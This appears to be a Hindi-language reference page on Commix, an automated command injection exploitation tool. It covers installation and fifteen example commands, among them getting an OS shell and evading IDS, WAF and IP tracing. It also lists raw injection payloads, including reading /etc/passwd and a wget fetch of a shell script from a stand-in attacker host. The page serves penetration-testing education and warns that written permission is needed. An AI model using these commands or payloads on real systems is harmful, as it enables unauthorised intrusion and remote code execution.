💻 Commix - Automated Command Injection Tool

💉 Command Injection 🐍 Python 🖥️ RCE

Category: 3️⃣ Web Application Attacks


📝 Description

Commix (CMDi - Command Injection Exploiter) एक ऑटोमेटेड कमांड इंजेक्शन एक्सप्लॉइटेशन टूल है जो Python में लिखा गया है। यह SQLmap की तरह ही काम करता है, लेकिन SQLmap SQL इंजेक्शन के लिए है जबकि Commix कमांड इंजेक्शन (OS Command Injection) वल्नरेबिलिटी को डिटेक्ट और एक्सप्लॉइट करने के लिए है। Commix वेब एप्लीकेशन में उन पैरामीटर्स को ढूँढता है जहाँ यूजर इनपुट को सिस्टम कमांड के रूप में execute किया जा रहा हो, और फिर उस पर कंट्रोल ले सकता है।

विशेषता: Commix पूरी तरह से ऑटोमेटेड है - यह कमांड इंजेक्शन को डिटेक्ट करने से लेकर इंटरएक्टिव शेल प्राप्त करने तक सब कुछ कर सकता है। यह GET, POST, COOKIE, और HEADER पैरामीटर्स पर टेस्ट कर सकता है।

📦 Installation

Kali Linux (पहले से इंस्टॉल):

commix -h

Ubuntu/Debian:

sudo apt update
sudo apt install commix -y

GitHub से इंस्टॉल:

git clone https://github.com/commixproject/commix.git
cd commix
python3 commix.py -h

macOS (Homebrew):

brew install commix

Python pip से:

pip3 install commix

💻 Common Commands (उदाहरण सहित)

📌 Commix की सबसे खास बात है इसकी ऑटोमेशन। नीचे सभी महत्वपूर्ण कमांड्स दिए गए हैं:

🔹 1. बेसिक कमांड इंजेक्शन टेस्ट - GET पैरामीटर:

commix --url "http://target.com/page.php?cmd=ping"
👉 उदाहरण: commix --url "http://testphp.vulnweb.com/listproducts.php?cat=1" से cat पैरामीटर पर कमांड इंजेक्शन टेस्ट करता है।

🔹 2. POST डेटा पर कमांड इंजेक्शन टेस्ट:

commix --url "http://target.com/login.php" --data="user=admin&pass=123"
👉 उदाहरण: लॉगिन फॉर्म के POST डेटा पर कमांड इंजेक्शन टेस्ट करता है।

🔹 3. कुकी के साथ टेस्ट:

commix --url "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"
👉 उदाहरण: सेशन कुकी के साथ कमांड इंजेक्शन टेस्ट करता है।

🔹 4. यूजर-एजेंट हेडर पर टेस्ट:

commix --url "http://target.com/page.php" --user-agent="test"
👉 उदाहरण: User-Agent हेडर में कमांड इंजेक्शन टेस्ट करता है।

🔹 5. इंटरएक्टिव शेल प्राप्त करना:

commix --url "http://target.com/page.php?cmd=ping" --os-shell
👉 उदाहरण: वल्नरेबल पैरामीटर पर इंटरएक्टिव OS शेल प्राप्त करता है।

🔹 6. सभी पैरामीटर्स पर टेस्ट करना:

commix --url "http://target.com/page.php?id=1&name=test" --all-parameters
👉 उदाहरण: URL के सभी GET पैरामीटर्स पर कमांड इंजेक्शन टेस्ट करता है।

🔹 7. बैच मोड (बिना इंटरैक्शन के):

commix --url "http://target.com/page.php?id=1" --batch
👉 उदाहरण: बिना किसी सवाल के ऑटोमेटिक स्कैन करता है।

🔹 8. रिक्वेस्ट डिले (थ्रॉटल) सेट करना:

commix --url "http://target.com/page.php?id=1" --delay=2
👉 उदाहरण: हर रिक्वेस्ट के बीच 2 सेकंड का डिले करता है (IDS/IPS से बचने के लिए)।

🔹 9. प्रॉक्सी के माध्यम से स्कैन:

commix --url "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
👉 उदाहरण: Burp Suite या ZAP प्रॉक्सी के माध्यम से स्कैन करता है।

🔹 10. रैंडम यूजर-एजेंट के साथ स्कैन:

commix --url "http://target.com/page.php?id=1" --random-agent
👉 उदाहरण: हर रिक्वेस्ट में अलग User-Agent भेजता है (WAF से बचने के लिए)।

🔹 11. टॉर्क (Tor) के माध्यम से स्कैन:

commix --url "http://target.com/page.php?id=1" --tor
👉 उदाहरण: Tor नेटवर्क के माध्यम से स्कैन करता है (IP हाइड करने के लिए)।

🔹 12. WAF डिटेक्शन:

commix --url "http://target.com/page.php?id=1" --waf
👉 उदाहरण: टारगेट पर WAF (Web Application Firewall) है या नहीं, यह डिटेक्ट करता है।

🔹 13. स्कैन लेवल सेट करना:

commix --url "http://target.com/page.php?id=1" --level=3
👉 उदाहरण: level 1-3 (जितना ज्यादा, उतने ज्यादा पेलोड्स टेस्ट होते हैं)।

🔹 14. कस्टम पेलोड्स के साथ स्कैन:

commix --url "http://target.com/page.php?id=1" --payload="| whoami"
👉 उदाहरण: कस्टम पेलोड के साथ कमांड इंजेक्शन टेस्ट करता है।

🔹 15. सभी इंजेक्शन टेक्निक्स का उपयोग:

commix --url "http://target.com/page.php?id=1" --technique=ALL
👉 उदाहरण: सभी इंजेक्शन टेक्निक्स (classic, eval, time-based, etc.) का उपयोग करता है।

🎯 Commix के कमांड इंजेक्शन टेक्निक्स:

🎯 Use Cases (उपयोग के तरीके)

⚙️ Key Features (मुख्य विशेषताएँ)

📌 कमांड इंजेक्शन के सामान्य पेलोड्स:

; whoami
| id
|| ls
&& cat /etc/passwd
`hostname`
$(ifconfig)
%0a wget attacker.com/shell.sh

📌 Commix के स्कैन लेवल:

  • --level=1: बेसिक पेलोड्स (तेज)
  • --level=2: मीडियम पेलोड्स
  • --level=3: सभी पेलोड्स और टेक्निक्स (सबसे डीप)

🔗 Official Resources

🔧 Related Tools (समान उपकरण)

📌 SQLmap vs Commix:

  • SQLmap: SQL इंजेक्शन के लिए - डेटाबेस से डेटा चुराना, टेबल्स डंप करना
  • Commix: कमांड इंजेक्शन के लिए - सिस्टम कमांड चलाना, शेल प्राप्त करना
  • अनुशंसा: दोनों एक साथ सीखें। SQLmap डेटाबेस के लिए, Commix OS कमांड्स के लिए।

⚠️ Important Note (सावधानी)

Commix एक बेहद शक्तिशाली टूल है जो सर्वर पर रिमोट कमांड execute कर सकता है, फाइलें डिलीट कर सकता है, और पूरा OS शेल प्राप्त कर सकता है। इसका उपयोग केवल उन्हीं वेबसाइट्स पर करें जिनकी आपको लिखित अनुमति हो। बिना अनुमति के कमांड इंजेक्शन एक्सप्लॉइट करना कानूनी अपराध है और इसके गंभीर परिणाम हो सकते हैं। हमेशा अपने खुद के वेब एप्लीकेशन या बग बाउंटी प्रोग्राम पर ही प्रैक्टिस करें।